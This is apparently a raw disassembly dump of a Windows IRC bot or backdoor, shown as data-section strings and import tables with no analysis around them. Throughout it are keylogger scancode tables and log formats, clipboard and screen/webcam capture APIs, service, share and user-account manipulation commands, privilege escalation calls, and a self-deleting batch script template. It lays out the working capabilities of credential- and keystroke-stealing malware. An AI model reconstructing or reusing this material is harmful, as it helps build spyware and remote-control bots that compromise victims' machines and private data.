5D3346h, 0 dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0 dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0 dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0 dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0 dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0 dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0 dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0 dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0 dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0 dd 0C0h, 60h, 7E000000h, 2 dup(0) dd 2 dup(31h), 21000000h, 2 dup(0) dd 2 dup(32h), 40000000h, 2 dup(0) dd 2 dup(33h), 23000000h, 2 dup(0) dd 2 dup(34h), 24000000h, 2 dup(0) dd 2 dup(35h), 25000000h, 2 dup(0) dd 2 dup(36h), 5E000000h, 2 dup(0) dd 2 dup(37h), 26000000h, 2 dup(0) dd 2 dup(38h), 2A000000h, 2 dup(0) dd 2 dup(39h), 28000000h, 2 dup(0) dd 2 dup(30h), 29000000h, 2 dup(0) dd 0BDh, 2Dh, 5F000000h, 2 dup(0) dd 0BBh, 3Dh, 2B000000h, 2 dup(0) dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0 dd 51h, 71h, 51000000h, 2 dup(0) dd 57h, 77h, 57000000h, 2 dup(0) dd 45h, 65h, 45000000h, 2 dup(0) dd 52h, 72h, 52000000h, 2 dup(0) dd 54h, 74h, 54000000h, 2 dup(0) dd 59h, 79h, 59000000h, 2 dup(0) dd 55h, 75h, 55000000h, 2 dup(0) dd 49h, 69h, 49000000h, 2 dup(0) dd 4Fh, 6Fh, 4F000000h, 2 dup(0) dd 50h, 70h, 50000000h, 2 dup(0) dd 0DBh, 5Bh, 7B000000h, 2 dup(0) dd 0DDh, 0 dd 7D000000h, 2 dup(0) dd 41h, 61h, 61000000h, 2 dup(0) dd 53h, 73h, 53000000h, 2 dup(0) dd 44h, 64h, 44000000h, 2 dup(0) dd 46h, 66h, 46000000h, 2 dup(0) dd 47h, 67h, 47000000h, 2 dup(0) dd 48h, 68h, 48000000h, 2 dup(0) dd 4Ah, 6Ah, 4A000000h, 2 dup(0) dd 4Bh, 6Bh, 4B000000h, 2 dup(0) dd 4Ch, 6Ch, 4C000000h, 2 dup(0) dd 0BAh, 3Bh, 3A000000h, 2 dup(0) dd 0DEh, 27h, 22000000h, 2 dup(0) dd 5Ah, 7Ah, 5A000000h, 2 dup(0) dd 58h, 78h, 58000000h, 2 dup(0) dd 43h, 63h, 43000000h, 2 dup(0) dd 56h, 76h, 56000000h, 2 dup(0) dd 42h, 62h, 42000000h, 2 dup(0) dd 4Eh, 6Eh, 4E000000h, 2 dup(0) dd 4Dh, 6Dh, 4D000000h, 2 dup(0) dd 0BCh, 2Ch, 3C000000h, 2 dup(0) dd 0BEh, 2Eh, 3E000000h, 2 dup(0) dd 0BFh, 2Fh, 2E000000h, 3Fh, 0 dd 0DCh, 5Ch, 7C000000h, 2 dup(0) dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh dd 5B00005Dh, 5D4E4957h, 0 dd 2 dup(20h), 20000000h, 2 dup(0) dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0 dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh dd 5D534E49h, 0 dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh dd 5D4C4544h, 0 dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0 dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h dd 5D5055h, 0 dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0) dd 6Ah, 2Ah, 2A000000h, 2 dup(0) dd 6Dh, 2Dh, 2D000000h, 2 dup(0) dd 6Bh, 2Bh, 2B000000h, 2 dup(0) dd 60h, 30h, 30000000h, 2 dup(0) dd 61h, 31h, 31000000h, 2 dup(0) dd 62h, 32h, 32000000h, 2 dup(0) dd 63h, 33h, 33000000h, 2 dup(0) dd 64h, 34h, 34000000h, 2 dup(0) dd 65h, 35h, 35000000h, 2 dup(0) dd 66h, 36h, 36000000h, 2 dup(0) dd 67h, 37h, 37000000h, 2 dup(0) dd 68h dword_439914 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_4085A9+2B6o dd 69h, 39h, 39000000h, 2 dup(0) dd 6Eh, 2Eh, 2E000000h, 2 dup(0) dword_43994C dd 5Ch ; DATA XREF: sub_4084C8+2Co dword_439950 dd 6261h ; DATA XREF: sub_4084C8+4Eo aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4084C8+88o align 10h aKeylogS db '[KEYLOG]: %s',0 ; DATA XREF: sub_4084C8+AEo align 10h aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_4085A9+8Fo align 4 aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_4085A9+1E5o align 4 aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_4085A9+228o align 4 aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_40888A+Ao align 4 aSeterrormode db 'SetErrorMode',0 ; DATA XREF: sub_40888A+23o align 4 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 ; DATA XREF: sub_40888A+2Bo align 4 aProcess32first db 'Process32First',0 ; DATA XREF: sub_40888A+38o align 4 aProcess32next db 'Process32Next',0 ; DATA XREF: sub_40888A+45o align 4 aModule32first db 'Module32First',0 ; DATA XREF: sub_40888A+52o align 4 aGetdiskfreespa db 'GetDiskFreeSpaceExA',0 ; DATA XREF: sub_40888A+5Fo aGetlogicaldriv db 'GetLogicalDriveStringsA',0 ; DATA XREF: sub_40888A+6Co aGetdrivetypea db 'GetDriveTypeA',0 ; DATA XREF: sub_40888A+79o align 10h aSearchpatha db 'SearchPathA',0 ; DATA XREF: sub_40888A+86o aQueryperforman db 'QueryPerformanceCounter',0 ; DATA XREF: sub_40888A+93o aQueryperform_0 db 'QueryPerformanceFrequency',0 ; DATA XREF: sub_40888A+A0o align 10h aRegisterservic db 'RegisterServiceProcess',0 ; DATA XREF: sub_40888A:loc_408992o align 4 aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40888A:loc_4089BFo align 4 aSendmessagea db 'SendMessageA',0 ; DATA XREF: sub_40888A+14Ao align 4 aFindwindowa db 'FindWindowA',0 ; DATA XREF: sub_40888A+152o aIswindow db 'IsWindow',0 ; DATA XREF: sub_40888A+15Fo align 4 aDestroywindow db 'DestroyWindow',0 ; DATA XREF: sub_40888A+16Co align 4 aOpenclipboard db 'OpenClipboard',0 ; DATA XREF: sub_40888A+179o align 4 aGetclipboardda db 'GetClipboardData',0 ; DATA XREF: sub_40888A+186o align 10h aCloseclipboard db 'CloseClipboard',0 ; DATA XREF: sub_40888A+193o align 10h aExitwindowsex db 'ExitWindowsEx',0 ; DATA XREF: sub_40888A+1A0o align 10h aGetasynckeysta db 'GetAsyncKeyState',0 ; DATA XREF: sub_40888A:loc_408A82o align 4 aGetkeystate db 'GetKeyState',0 ; DATA XREF: sub_40888A+200o aGetwindowtexta db 'GetWindowTextA',0 ; DATA XREF: sub_40888A+20Do align 10h aGetforegroundw db 'GetForegroundWindow',0 ; DATA XREF: sub_40888A+21Ao aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_40888A:loc_408AE9o align 4 aRegopenkeyexa db 'RegOpenKeyExA',0 ; DATA XREF: sub_40888A+270o align 4 aRegcreatekeyex db 'RegCreateKeyExA',0 ; DATA XREF: sub_40888A+278o aRegsetvalueexa db 'RegSetValueExA',0 ; DATA XREF: sub_40888A+285o align 4 aRegqueryvaluee db 'RegQueryValueExA',0 ; DATA XREF: sub_40888A+292o align 4 aRegdeletevalue db 'RegDeleteValueA',0 ; DATA XREF: sub_40888A+29Fo aRegclosekey db 'RegCloseKey',0 ; DATA XREF: sub_40888A+2ACo aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_40888A:loc_408B7Eo align 4 aLookupprivileg db 'LookupPrivilegeValueA',0 ; DATA XREF: sub_40888A+2FCo align 10h aAdjusttokenpri db 'AdjustTokenPrivileges',0 ; DATA XREF: sub_40888A+309o align 4 aOpenscmanagera db 'OpenSCManagerA',0 ; DATA XREF: sub_40888A:loc_408BC3o align 4 aOpenservicea db 'OpenServiceA',0 ; DATA XREF: sub_40888A+341o align 4 aStartservicea db 'StartServiceA',0 ; DATA XREF: sub_40888A+34Eo align 4 aControlservice db 'ControlService',0 ; DATA XREF: sub_40888A+35Bo align 4 aDeleteservice db 'DeleteService',0 ; DATA XREF: sub_40888A+368o align 4 aCloseserviceha db 'CloseServiceHandle',0 ; DATA XREF: sub_40888A+375o align 4 aEnumservicesst db 'EnumServicesStatusA',0 ; DATA XREF: sub_40888A+382o aIsvalidsecurit db 'IsValidSecurityDescriptor',0 ; DATA XREF: sub_40888A+38Fo align 4 aGetusernamea db 'GetUserNameA',0 ; DATA XREF: sub_40888A:loc_408C71o align 4 aGdi32_dll db 'gdi32.dll',0 ; DATA XREF: sub_40888A:loc_408C99o align 4 aCreatedca db 'CreateDCA',0 ; DATA XREF: sub_40888A+420o align 4 aCreatedibsecti db 'CreateDIBSection',0 ; DATA XREF: sub_40888A+428o align 4 aCreatecompatib db 'CreateCompatibleDC',0 ; DATA XREF: sub_40888A+435o align 4 aGetdevicecaps db 'GetDeviceCaps',0 ; DATA XREF: sub_40888A+442o align 4 aGetdibcolortab db 'GetDIBColorTable',0 ; DATA XREF: sub_40888A+44Fo align 10h aSelectobject db 'SelectObject',0 ; DATA XREF: sub_40888A+45Co align 10h aBitblt db 'BitBlt',0 ; DATA XREF: sub_40888A+469o align 4 aDeletedc db 'DeleteDC',0 ; DATA XREF: sub_40888A+476o align 4 aDeleteobject db 'DeleteObject',0 ; DATA XREF: sub_40888A+483o align 4 aWs2_32_dll db 'ws2_32.dll',0 ; DATA XREF: sub_40888A+4F6o align 10h aWsastartup db 'WSAStartup',0 ; DATA XREF: sub_40888A+507o align 4 aWsasocketa db 'WSASocketA',0 ; DATA XREF: sub_40888A+50Fo align 4 aWsaasyncselect db 'WSAAsyncSelect',0 ; DATA XREF: sub_40888A+51Co align 4 a__wsafdisset db '__WSAFDIsSet',0 ; DATA XREF: sub_40888A+529o align 4 aWsaioctl db 'WSAIoctl',0 ; DATA XREF: sub_40888A+536o align 4 aWsagetlasterro db 'WSAGetLastError',0 ; DATA XREF: sub_40888A+543o aWsacleanup db 'WSACleanup',0 ; DATA XREF: sub_40888A+550o align 10h aSocket db 'socket',0 ; DATA XREF: sub_40888A+55Do align 4 aIoctlsocket db 'ioctlsocket',0 ; DATA XREF: sub_40888A+56Ao aConnect db 'connect',0 ; DATA XREF: sub_40888A+577o aInet_ntoa db 'inet_ntoa',0 ; DATA XREF: sub_40888A+584o align 4 aInet_addr db 'inet_addr',0 ; DATA XREF: sub_40888A+591o align 4 aHtons db 'htons',0 ; DATA XREF: sub_40888A+59Eo align 4 aHtonl db 'htonl',0 ; DATA XREF: sub_40888A+5ABo align 4 aNtohs db 'ntohs',0 ; DATA XREF: sub_40888A+5B8o align 4 aNtohl db 'ntohl',0 ; DATA XREF: sub_40888A+5C5o align 4 aSend db 'send',0 ; DATA XREF: sub_40888A+5D2o align 4 aSendto db 'sendto',0 ; DATA XREF: sub_40888A+5DFo align 4 aRecv db 'recv',0 ; DATA XREF: sub_40888A+5ECo align 4 aRecvfrom db 'recvfrom',0 ; DATA XREF: sub_40888A+5F9o align 4 aBind db 'bind',0 ; DATA XREF: sub_40888A+60Bo align 10h aSelect db 'select',0 ; DATA XREF: sub_40888A+613o align 4 aListen db 'listen',0 ; DATA XREF: sub_40888A+620o align 10h aAccept db 'accept',0 ; DATA XREF: sub_40888A+62Do align 4 aSetsockopt db 'setsockopt',0 ; DATA XREF: sub_40888A+63Ao align 4 aGetsockname db 'getsockname',0 ; DATA XREF: sub_40888A+647o aGethostname db 'gethostname',0 ; DATA XREF: sub_40888A+654o aGethostbyname db 'gethostbyname',0 ; DATA XREF: sub_40888A+661o align 4 aGethostbyaddr db 'gethostbyaddr',0 ; DATA XREF: sub_40888A+66Eo align 4 aGetpeername db 'getpeername',0 ; DATA XREF: sub_40888A+67Bo aClosesocket db 'closesocket',0 ; DATA XREF: sub_40888A+688o aWininet_dll db 'wininet.dll',0 ; DATA XREF: sub_40888A:loc_40904Bo aInternetgetcon db 'InternetGetConnectedState',0 ; DATA XREF: sub_40888A+7D2o align 4 aInternetgetc_0 db 'InternetGetConnectedStateEx',0 ; DATA XREF: sub_40888A+7DAo aHttpopenreques db 'HttpOpenRequestA',0 ; DATA XREF: sub_40888A+7E7o align 4 aHttpsendreques db 'HttpSendRequestA',0 ; DATA XREF: sub_40888A+7F4o align 10h aInternetconnec db 'InternetConnectA',0 ; DATA XREF: sub_40888A+801o align 4 aInternetopena db 'InternetOpenA',0 ; DATA XREF: sub_40888A+80Eo align 4 aInternetopenur db 'InternetOpenUrlA',0 ; DATA XREF: sub_40888A+81Bo align 4 aInternetcracku db 'InternetCrackUrlA',0 ; DATA XREF: sub_40888A+828o align 4 aInternetreadfi db 'InternetReadFile',0 ; DATA XREF: sub_40888A+835o align 10h aInternetcloseh db 'InternetCloseHandle',0 ; DATA XREF: sub_40888A+842o aMozilla4_0Comp db 'Mozilla/4.0 (compatible)',0 ; DATA XREF: sub_40888A+8B4o align 10h aIcmp_dll db 'icmp.dll',0 ; DATA XREF: sub_40888A:loc_40916Bo align 4 aIcmpcreatefile db 'IcmpCreateFile',0 ; DATA XREF: sub_40888A+8EEo align 4 aIcmpclosehandl db 'IcmpCloseHandle',0 ; DATA XREF: sub_40888A+8F6o aIcmpsendecho db 'IcmpSendEcho',0 ; DATA XREF: sub_40888A+903o align 4 aNetapi32_dll db 'netapi32.dll',0 ; DATA XREF: sub_40888A:loc_4091CAo align 4 aNetshareadd db 'NetShareAdd',0 ; DATA XREF: sub_40888A+951o aNetsharedel db 'NetShareDel',0 ; DATA XREF: sub_40888A+959o aNetshareenum db 'NetShareEnum',0 ; DATA XREF: sub_40888A+966o align 4 aNetschedulejob db 'NetScheduleJobAdd',0 ; DATA XREF: sub_40888A+973o align 4 aNetapibufferfr db 'NetApiBufferFree',0 ; DATA XREF: sub_40888A+980o align 4 aNetremotetod db 'NetRemoteTOD',0 ; DATA XREF: sub_40888A+98Do align 4 aNetuseradd db 'NetUserAdd',0 ; DATA XREF: sub_40888A+99Ao align 4 aNetuserdel db 'NetUserDel',0 ; DATA XREF: sub_40888A+9A7o align 4 aNetuserenum db 'NetUserEnum',0 ; DATA XREF: sub_40888A+9B4o aNetusergetinfo db 'NetUserGetInfo',0 ; DATA XREF: sub_40888A+9C1o align 10h aNetmessagebuff db 'NetMessageBufferSend',0 ; DATA XREF: sub_40888A+9CEo align 4 aDnsapi_dll db 'dnsapi.dll',0 ; DATA XREF: sub_40888A:loc_4092D5o align 4 aDnsflushresolv db 'DnsFlushResolverCache',0 ; DATA XREF: sub_40888A+A58o align 4 aDnsflushreso_0 db 'DnsFlushResolverCacheEntry_A',0 ; DATA XREF: sub_40888A+A60o align 4 aIphlpapi_dll db 'iphlpapi.dll',0 ; DATA XREF: sub_40888A:loc_40931Fo align 4 aGetipnettable db 'GetIpNetTable',0 ; DATA XREF: sub_40888A+AA2o align 4 aDeleteipnetent db 'DeleteIpNetEntry',0 ; DATA XREF: sub_40888A+AAAo align 10h aMpr_dll db 'mpr.dll',0 ; DATA XREF: sub_40888A:loc_409369o aWnetaddconnect db 'WNetAddConnection2A',0 ; DATA XREF: sub_40888A+AECo aWnetaddconne_0 db 'WNetAddConnection2W',0 ; DATA XREF: sub_40888A+AF4o aWnetcancelconn db 'WNetCancelConnection2A',0 ; DATA XREF: sub_40888A+B01o align 4 aWnetcancelco_0 db 'WNetCancelConnection2W',0 ; DATA XREF: sub_40888A+B0Eo align 10h aShell32_dll db 'shell32.dll',0 ; DATA XREF: sub_40888A:loc_4093DDo aShellexecutea db 'ShellExecuteA',0 ; DATA XREF: sub_40888A+B60o align 4 aShchangenotify db 'SHChangeNotify',0 ; DATA XREF: sub_40888A+B68o align 4 aOdbc32_dll db 'odbc32.dll',0 ; DATA XREF: sub_40888A:loc_409427o align 4 aSqldriverconne db 'SQLDriverConnect',0 ; DATA XREF: sub_40888A+BAAo align 4 aSqlsetenvattr db 'SQLSetEnvAttr',0 ; DATA XREF: sub_40888A+BB2o align 4 aSqlexecdirect db 'SQLExecDirect',0 ; DATA XREF: sub_40888A+BBFo align 4 aSqlallochandle db 'SQLAllocHandle',0 ; DATA XREF: sub_40888A+BCCo align 4 aSqlfreehandle db 'SQLFreeHandle',0 ; DATA XREF: sub_40888A+BD9o align 4 aSqldisconnect db 'SQLDisconnect',0 ; DATA XREF: sub_40888A+BE6o align 4 aAvicap32_dll db 'avicap32.dll',0 ; DATA XREF: sub_40888A:loc_4094C5o align 4 aCapcreatecaptu db 'capCreateCaptureWindowA',0 ; DATA XREF: sub_40888A+C48o aCapgetdriverde db 'capGetDriverDescriptionA',0 ; DATA XREF: sub_40888A+C50o align 10h aKernel32_dllFa db 'Kernel32.dll failed. <%d>',0 ; DATA XREF: sub_409517+28o align 4 aUser32_dllFail db 'User32.dll failed. <%d>',0 ; DATA XREF: sub_409517+5Co aAdvapi32_dllFa db 'Advapi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+90o align 10h aGdi32_dllFaile db 'Gdi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+C4o align 4 aWs2_32_dllFail db 'Ws2_32.dll failed. <%d>',0 ; DATA XREF: sub_409517+F8o aWininet_dllFai db 'Wininet.dll failed. <%d>',0 ; DATA XREF: sub_409517+12Co align 4 aIcmp_dllFailed db 'Icmp.dll failed. <%d>',0 ; DATA XREF: sub_409517+160o align 4 aNetapi32_dllFa db 'Netapi32.dll failed. <%d>',0 ; DATA XREF: sub_409517+194o align 10h aDnsapi_dllFail db 'Dnsapi.dll failed. <%d>',0 ; DATA XREF: sub_409517+1C8o aIphlpapi_dllFa db 'Iphlpapi.dll failed. <%d>',0 ; DATA XREF: sub_409517+1FCo align 4 aMpr32_dllFaile db 'Mpr32.dll failed. <%d>',0 ; DATA XREF: sub_409517+230o align 4 aShell32_dllFai db 'Shell32.dll failed. <%d>',0 ; DATA XREF: sub_409517+264o align 4 aOdbc32_dllFail db 'Odbc32.dll failed. <%d>',0 ; DATA XREF: sub_409517+298o aAvicap32_dllFa db 'Avicap32.dll failed. <%d>',0 ; DATA XREF: sub_409517+2CCo align 4 aMainDllTestCom db '[MAIN]: DLL test complete.',0 ; DATA XREF: sub_409517+2F2o align 4 aSErrorSD_ db '%s Error: %s <%d>.',0 ; DATA XREF: sub_409AA0+72o align 4 aMirc_0 db 'mIRC',0 ; DATA XREF: sub_409B65+5o align 4 aMirc_1 db 'mIRC',0 ; DATA XREF: sub_409B65+18o align 4 aExplorer_exe db 'explorer.exe',0 ; DATA XREF: sub_409BEA+1Co align 4 aSS_7 db '%s %s',0 ; DATA XREF: .text:00409CD0o align 4 aSeshutdownpriv db 'SeShutdownPrivilege',0 ; DATA XREF: sub_409D0C+2o aSdel_bat db '%sdel.bat',0 ; DATA XREF: sub_409D2E+48o align 4 a@echoOffRepeat db '@echo off',0Dh,0Ah ; DATA XREF: sub_409D2E+85o db ':repeat',0Dh,0Ah db 'del "%%1"',0Dh,0Ah db 'if exist "%%1" goto repeat',0Dh,0Ah db 'del "%s"',0 aComspecCSS db '%%comspec%% /c %s %s',0 ; DATA XREF: sub_409D2E+140o align 10h off_43A4D0 dd offset dword_43A524 ; DATA XREF: sub_409EB6+6Dr ; sub_40A29A+50r ... off_43A4D4 dd offset aAdded ; DATA XREF: sub_409EB6+2Dr ; sub_40A29A+82r ... ; "Added" dword_43A4D8 dd 0 ; DATA XREF: sub_409EB6+18r dd offset aDelete_1 ; "Delete" dd offset aDeleted ; "Deleted" align 8 dd offset aList_1 ; "List" dd offset aListed ; "Listed" dd 0 dd offset aStart_0 ; "Start" dd offset aStarted ; "Started" align 10h dd offset aStop_0 ; "Stop" dd offset aStopped_0 ; "Stopped" dd 1, 43A570h, 43A578h, 2, 43A580h, 43A58Ch, 3 dword_43A524 dd 646441h ; DATA XREF: .data:off_43A4D0o aAdded db 'Added',0 ; DATA XREF: .data:off_43A4D4o align 10h aDelete_1 db 'Delete',0 ; DATA XREF: .data:0043A4DCo align 4 aDeleted db 'Deleted',0 ; DATA XREF: .data:0043A4E0o aList_1 db 'List',0 ; DATA XREF: .data:0043A4E8o align 4 aListed db 'Listed',0 ; DATA XREF: .data:0043A4ECo align 10h aStart_0 db 'Start',0 ; DATA XREF: .data:0043A4F4o align 4 aStarted db 'Started',0 ; DATA XREF: .data:0043A4F8o aStop_0 db 'Stop',0 ; DATA XREF: .data:0043A500o align 4 aStopped_0 db 'Stopped',0 ; DATA XREF: .data:0043A504o aPause_0 db 'Pause',0 align 4 aPaused_0 db 'Paused',0 align 10h aContinue_0 db 'Continue',0 align 4 aContinued db 'Continued',0 align 4 aNetSServiceS_ db '[NET]: %s service: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_409EB6+38o align 4 aNetErrorWithSe db '[NET]: Error with service: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_409EB6+55o aNetSNoServiceS db '[NET]: %s: No service specified.',0 ; DATA XREF: sub_409EB6+74o align 4 aTheSpecifiedDa db 'The specified database does not exist.',0 ; DATA XREF: sub_409FDF:loc_40A0B8o align 4 aTheHandleDoesN db 'The handle does not have the required access right.',0 ; DATA XREF: sub_409FDF:loc_40A039o aTheSpecifiedSe db 'The specified service name is invalid.',0 ; DATA XREF: sub_409FDF+3Co align 10h aTheHandleIsInv db 'The handle is invalid.',0 ; DATA XREF: sub_409FDF:loc_40A02Fo align 4 aTheServiceBina db 'The service binary file could not be found.',0 ; DATA XREF: sub_409FDF:loc_40A043o aAnInstanceOfTh db 'An instance of the service is already running.',0 ; DATA XREF: sub_409FDF:loc_40A08Do align 4 aTheDatabaseIsL db 'The database is locked.',0 ; DATA XREF: sub_409FDF+8Fo aTheServiceDepe db 'The service depends on a service that does not exist or has been ' ; DATA XREF: sub_409FDF:loc_40A0BFo db 'marked for deletion.',0 align 4 aTheServiceDe_0 db 'The service depends on another service that has failed to start.',0 ; DATA XREF: sub_409FDF:loc_40A0C6o align 4 aTheServiceHasB db 'The service has been disabled.',0 ; DATA XREF: sub_409FDF:loc_40A0CDo align 4 aTheSpecified_0 db 'The specified service does not exist.',0 ; DATA XREF: sub_409FDF:loc_40A0D4o align 10h aTheServiceCoul db 'The service could not be logged on. The account does not have the' ; DATA XREF: sub_409FDF:loc_40A0DBo db ' correct access rights.',0 align 4 aTheServiceHa_0 db 'The service has been marked for deletion.',0 ; DATA XREF: sub_409FDF:loc_40A0E2o align 4 aAThreadCouldNo db 'A thread could not be created for the service.',0 ; DATA XREF: sub_409FDF:loc_40A078o align 4 aTheProcessForT db 'The process for the service was started, but it did not call Star' ; DATA XREF: sub_409FDF:loc_40A07Fo db 'tServiceCtrlDispatcher.',0 align 4 aTheServiceCann db 'The service cannot be stopped because other running services are ' ; DATA XREF: sub_409FDF:loc_40A04Do db 'dependent on it.',0 align 4 aTheRequestedCo db 'The requested control code is undefined.',0 ; DATA XREF: sub_409FDF:loc_40A025o align 4 aTheRequested_0 db 'The requested control code is not valid, or it is unacceptable to' ; DATA XREF: sub_409FDF:loc_40A086o db ' the service.',0 align 4 aTheRequested_1 db 'The requested control code cannot be sent to the service because ' ; DATA XREF: sub_409FDF:loc_40A0E9o db 'the state of the service.',0 align 10h aTheServiceHasN db 'The service has not been started.',0 ; DATA XREF: sub_409FDF:loc_40A0F0o align 4 aTheSystemIsShu db 'The system is shutting down.',0 ; DATA XREF: sub_409FDF:loc_40A0F7o align 4 aAnUnknownErr_0 db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_409FDF+12Co align 4 aTheFollowingWi db 'The following Windows services are registered:',0 ; DATA XREF: sub_40A15D+25o align 4 aStopped db ' Stopped',0 ; DATA XREF: sub_40A15D:loc_40A229o aStarting db ' Starting',0 ; DATA XREF: sub_40A15D:loc_40A222o aStoping db ' Stoping',0 ; DATA XREF: sub_40A15D:loc_40A21Bo aRunning db ' Running',0 ; DATA XREF: sub_40A15D:loc_40A214o aContinuing db ' Continuing',0 ; DATA XREF: sub_40A15D:loc_40A20Do aPausing db ' Pausing',0 ; DATA XREF: sub_40A15D:loc_40A206o aPaused db ' Paused',0 ; DATA XREF: sub_40A15D:loc_40A1FFo aUnknown_0 db ' Unknown',0 ; DATA XREF: sub_40A15D+9Bo aSSS_0 db '%s: %s (%s)',0 ; DATA XREF: sub_40A15D+EBo aNetSShareS_ db '[NET]: %s share: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40A29A+89o align 4 aNetSErrorWithS db '[NET]: %s: Error with share: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_40A29A+57o align 4 aNetSNoShareSpe db '[NET]: %s: No share specified.',0 ; DATA XREF: sub_40A29A+ABo align 4 aShareNameResou db 'Share name: Resource: Uses: Desc:',0 ; DATA XREF: sub_40A48F+26o align 4 aYes db 'Yes',0 ; DATA XREF: sub_40A48F+B5o aNo db 'No',0 ; DATA XREF: sub_40A48F+BCo align 4 a14s24s6u4s db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40A48F+D0o align 4 aNetShareListEr db '[NET]: Share list error: %s <%ld>',0 ; DATA XREF: sub_40A48F+76o align 10h aNetSUsernameS_ db '[NET]: %s username: ',27h,'%s',27h,'.',0 ; DATA XREF: sub_40A5B0+6Do align 4 aNetSErrorWithU db '[NET]: %s: Error with username: ',27h,'%s',27h,'. %s',0 ; DATA XREF: sub_40A5B0+94o align 4 aNetSNoUsername db '[NET]: %s: No username specified.',0 ; DATA XREF: sub_40A5B0+B6o align 4 aAccountS db 'Account: %S',0 ; DATA XREF: sub_40A6F6+50o aFullNameS db 'Full Name: %S',0 ; DATA XREF: sub_40A6F6+81o align 4 aUserCommentS db 'User Comment: %S',0 ; DATA XREF: sub_40A6F6+ACo align 4 aCommentS db 'Comment: %S',0 ; DATA XREF: sub_40A6F6+D4o aGuest db 'Guest',0 ; DATA XREF: sub_40A6F6:loc_40A80Fo align 10h aUser_0 db 'User',0 ; DATA XREF: sub_40A6F6:loc_40A808o align 4 aAdministrator db 'Administrator',0 ; DATA XREF: sub_40A6F6:loc_40A801o align 4 aUnknown_1 db 'Unknown',0 ; DATA XREF: sub_40A6F6+104o aPrivilegeLevel db 'Privilege Level: %s',0 ; DATA XREF: sub_40A6F6+125o aAuthFlagsD db 'Auth Flags: %d',0 ; DATA XREF: sub_40A6F6+14Do align 4 aHomeDirectoryS db 'Home Directory: %S',0 ; DATA XREF: sub_40A6F6+178o align 4 aParametersS db 'Parameters: %S',0 ; DATA XREF: sub_40A6F6:loc_40A896o align 4 aPasswordAgeD db 'Password Age: %d',0 ; DATA XREF: sub_40A6F6+1CBo align 4 aBadPasswordCou db 'Bad Password Count: %d',0 ; DATA XREF: sub_40A6F6+1F3o align 4 aNumberOfLogins db 'Number of Logins: %d',0 ; DATA XREF: sub_40A6F6+21Eo align 4 aLastLogonD db 'Last Logon: %d',0 ; DATA XREF: sub_40A6F6+246o align 4 aLastLogoffD db 'Last Logoff: %d',0 ; DATA XREF: sub_40A6F6+271o aLogonServerS db 'Logon Server: %S',0 ; DATA XREF: sub_40A6F6+299o align 10h aWorkstationsS db 'Workstations: %S',0 ; DATA XREF: sub_40A6F6+2C4o align 4 aCountryCodeD db 'Country Code: %d',0 ; DATA XREF: sub_40A6F6+2ECo align 4 aUserSLanguageD db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40A6F6+317o aMax_StorageD db 'Max. Storage: %d',0 ; DATA XREF: sub_40A6F6+33Fo align 10h aUnitsPerWeekD db 'Units Per Week: %d',0 ; DATA XREF: sub_40A6F6+36Ao align 4 aNetUserInfoErr db '[NET]: User info error: <%ld>',0 ; DATA XREF: sub_40A6F6+394o align 4 aUsernameAccoun db 'Username accounts for local system:',0 ; DATA XREF: sub_40AAC4+29o aNetAnAccessVio db '[NET]: An access violation has occured.',0 ; DATA XREF: sub_40AAC4+F7o aS_8 db ' %S',0 ; DATA XREF: sub_40AAC4+BEo align 4 aNetUserListErr db '[NET]: User list error: %s <%ld>',0 ; DATA XREF: sub_40AAC4+7Ao align 4 aTotalUsersFoun db 'Total users found: %d.',0 ; DATA XREF: sub_40AAC4+14Fo align 4 aAccessDenied_ db 'Access denied.',0 ; DATA XREF: sub_40AC44:loc_40ACA7o align 4 aLevelParameter db 'Level parameter is invalid.',0 ; DATA XREF: sub_40AC44:loc_40ACE8o aTheNameIsInval db 'The name is invalid.',0 ; DATA XREF: sub_40AC44:loc_40ACB1o align 4 aInvalidParamet db 'Invalid parameter.',0 ; DATA XREF: sub_40AC44+3Bo align 4 aNotEnoughMemor db 'Not enough memory.',0 ; 